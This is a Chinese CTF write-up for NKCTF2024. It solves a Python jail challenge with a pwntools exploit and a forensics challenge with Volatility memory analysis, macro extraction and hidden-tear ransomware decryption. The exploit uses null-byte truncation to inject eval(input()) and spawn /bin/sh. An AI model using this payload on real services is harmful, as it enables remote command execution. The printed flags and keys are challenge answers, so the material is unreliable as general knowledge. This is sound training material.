MISC
ex1t
根据空白的提示中的 “c 的标准” ,很自然想到 “\x00” 字符截断,测试发现 python 执行脚本时某行中间如果出现 “\x00” ,这一行后面的就被舍弃(包括换行),直接和下一行拼接。所以可以将三引号用 “\x00\n” 分隔。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * import sys
LOCAL = len(sys.argv) == 1 if LOCAL: p = process('python3 ./chal.py'.split(' ')) else: p = remote(sys.argv[1], int(sys.argv[2]))
p.sendlineafter(b'> \n', b"'\x00\n''\neval(input())\n'\x00\n''")
p.sendline(b"--NKCTF2024")
import time time.sleep(1)
p.sendline(b'print(__import__("os").system("/bin/sh"))')
p.interactive()
PYTHON
|
经过试验,发现python3.6版本可以,3.9及以上版本不行
world.execute.me
payload
ba4a285804b556b829e6cf944cd87d8
68c44a510337297ee17d31c0de99c7e
Forensics
Cain_is_hacker
先查看镜像类型
1
| python2 vol.py -f ez.raw imageinfo
STYLUS
|
image-20240328185428904
得到了镜像类型,先去常规搜索一下文件
1
| python2 vol.py -f ez.raw --profile=Win7SP1x64 filescan | grep -e ".txt" -e ".png" -e ".rar" -e ".zip" -e ".jpg"
VIM
|
image-20240328185822943
导出这个可疑文件查看一下
1
| python2 vol.py -f ez.raw --profile=Win7SP1x64 dumpfiles -Q 0x0000000002d08f20 --dump-dir=./
ROUTEROS
|
image-20240328190338864
解压得到两个文件
image-20240328190615454
看一下importfile
image-20240328190903430
可以知道是EncFS加密过后的文件,要去获得密钥解密
查看一下进程
1
| python2 vol.py -f ez.raw --profile=Win7SP1x64 pslist
STYLUS
|
image-20240328191139992
得到了可疑的win7便笺文件,去dump下来
1
| python2 vol.py -f ez.raw --profile=Win7SP1x64 filescan | grep -e "StickyNotes"
VIM
|
image-20240328191531895
1
| python2 vol.py -f ez.raw --profile=Win7SP1x64 dumpfiles -Q 0x0000000002dfd070 --dump-dir=./
ROUTEROS
|
在win7的C:\Users\qetx\AppData\Roaming\Microsoft\Sticky Notes路径下用dump下来的文件重命名成StickyNotes.snt,放在该目录下,再启动win7的便笺程序就可以了(这边注意AppData文件夹是隐藏文件,要关闭查看隐藏)
image-20240328234211594
6GMtDa2H7uy7mLLi75A9QqfwbwUSVGKDQW1ot41U1ptKr5MCoXscSRDWb9nSQZUYefiMWH99Xu7zaXejrp3A9fUdx5VWRjpypcUhCEgh3zgbsRmvWJjEnRMfosBxxwbXLc
解密得到:Cute cain reminds you that you may use the following key welcome_to_NkCTF_and_this_is_the_enkey
将importfile重命名成.encfs6.xml,用encfs mp去挂载
image-20240329132813574
看到挂载成功
image-20240329132840114
得到一个ez.xlsx
打开发现报错,用010查看发现宏特征
image-20240329133215690
用oletools工具去查看宏代码
1
| python olevba.py F:\CTF\MISC\oletools宏加密\oletools-0.60.1\ez.xlsx
APACHE
|
image-20240329134228278
得到base64字符串,拿去解密
image-20240329134322917
得到一个文件,保存一下,接下来就要解密这个文件
image-20240329135100878
去镜像里恢复密钥文件
mftparser
: 这是 vol.py
工具的一个插件,用于解析 Master File Table (MFT)。MFT 是 NTFS 文件系统中的一个关键数据结构,用于存储文件和目录的元数据。
1
| python2 vol.py -f ez.raw --profile=Win7SP1x64 mftparser > mftparser.txt
STYLUS
|
1
| strings mftparser.txt| grep "key" -A10 -B10
1C
|
grep "key" -A10 -B10
是一个命令,用于在文件中搜索字符串 “key”,并打印出每个匹配行的前 10 行(-B10
)和后 10 行(-A10
)。
image-20240329144849555
找到key:nT0XoHBA2!Uc?
再去找加密软件,查看控制台信息
1
| python2 vol.py -f ez.raw --profile=Win7SP1x64 consoles
STYLUS
|
image-20240329145308148
得到了加密软件hidden-tear.exe,去网上找一下
解密的时候注意把原来的文件名改成.locked结尾的文件,放在和解密程序同一个文件夹下
image-20240329151559101
image-20240329151607227
解密成功
image-20240329151701635
NKCTF{C0ngr@tu1atiOns_On_coMpleting_t3e_Fo3eNs1cs_Ch41lenge_I_wi1l_giv4_y0u_A_cain!!!!}